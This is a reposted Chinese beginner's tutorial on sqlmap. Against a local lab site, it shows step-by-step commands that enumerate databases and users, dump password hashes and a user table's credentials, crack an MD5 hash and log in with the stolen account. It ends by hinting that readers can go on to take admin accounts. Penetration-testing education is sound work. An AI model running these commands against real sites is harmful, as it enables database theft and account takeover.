1. 程式人生 > >sql 真的很不安全啊

sql 真的很不安全啊

安全 soft -h right 數據 mysql 利用 ews erp

目錄(?)[+]

轉載請註明出處:http://blog.csdn.NET/zgyulongfei/article/details/41017493

作者:羽龍飛

本文僅獻給想學習滲透測試的sqlmap小白,大牛請繞過。

>

>

對於網絡安全人員來說,掌握滲透工具的使用方法是一項必備的技能。然而,一個沒有師傅帶領的小白在剛開始學習時,並不知道該如何入手進行滲透學習,所以本文旨在幫助這些小白入門。

sqlmap是一款非常強大的開源sql自動化註入工具,可以用來檢測和利用sql註入漏洞。它由Python語言開發而成,因此運行需要安裝python環境。

既然本文是基礎教程,以下只寫工具的基本使用方法。

本教程為sqlmap具體應用案例,如需了解更多sqlmap資料可以訪問官方http://sqlmap.org ,或者烏雲知識庫http://drops.wooyun.org/tips/401 和 http://drops.wooyun.org/tips/143 。

測試環境:本地搭建的具有sql註入點的網站 http://192.168.1.150

註意:sqlmap只是用來檢測和利用sql註入點的,並不能掃描出網站有哪些漏洞,使用前請先使用掃描工具掃出sql註入點。

教程開始:

一、檢測註入點是否可用

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134"
參數:

-u:指定註入點url

結果:

技術分享

技術分享

註入結果展示:

(1)註入參數id為GET註入,註入類型有四種分別為:boolean-based blind、error-based、stacked queries、inline query。

(2)web服務器系統為windows 2003 or XP

(3)web應用程序技術為:ASP.net, Microsoft IIS 6.0

(4)數據庫類型為:SQLSERVER 2000

其中圖一有若幹詢問語句,需要用戶輸入[Y/N],如果你懶得輸入或者不懂怎麽輸入可以讓程序自動輸入,只需添加一個參數即可,命令如下:

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch

二、暴庫

一條命令即可曝出該sqlserver中所有數據庫名稱,命令如下:

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs

參數:

--dbs:dbs前面有兩條杠,請看清楚。

結果:

技術分享

結果顯示該sqlserver中共包含7個可用的數據庫。

三、web當前使用的數據庫

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db
技術分享

四、web數據庫使用賬戶

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user

技術分享

五、列出sqlserver所有用戶

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --users
技術分享

六、數據庫賬戶與密碼

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --passwords
技術分享

七、列出數據庫中的表

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables
參數:

-D:指定數據庫名稱

--tables:列出表

結果:

技術分享

結果體現共列出了34張表。

八、列出表中字段

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns

參數:

-D:指定數據庫名稱

-T:指定要列出字段的表

--columns:指定列出字段

結果:

技術分享

結果顯示該userb表中包含了23條字段。

九、暴字段內容

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump
參數:

-C :指定要暴的字段

--dump:將結果導出

結果:

技術分享

如果字段內容太多,需要花費很多時間。可以指定導出特定範圍的字段內容,命令如下:

[plain] view plain copy
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump
參數:

--start:指定開始的行

--stop:指定結束的行

此條命令的含義為:導出數據庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數據內容。

結果如下:

技術分享


十、驗證結果

通過上圖結果看到其中的一個用戶信息為:

email:[email protected]

username: 1.asp

password: 49ba59abbe56e057

通過md5解密,得到該hash的原文密碼為:123456

拿到賬號密碼我們來測試是否可以登錄,登錄結果如下:

技術分享

驗證成功!

當然我們只是拿到普通會員賬號進行登錄,你也可以拿到管理員賬號進行登錄,後面的事情自己發揮吧,嘿嘿!

25

sql 真的很不安全啊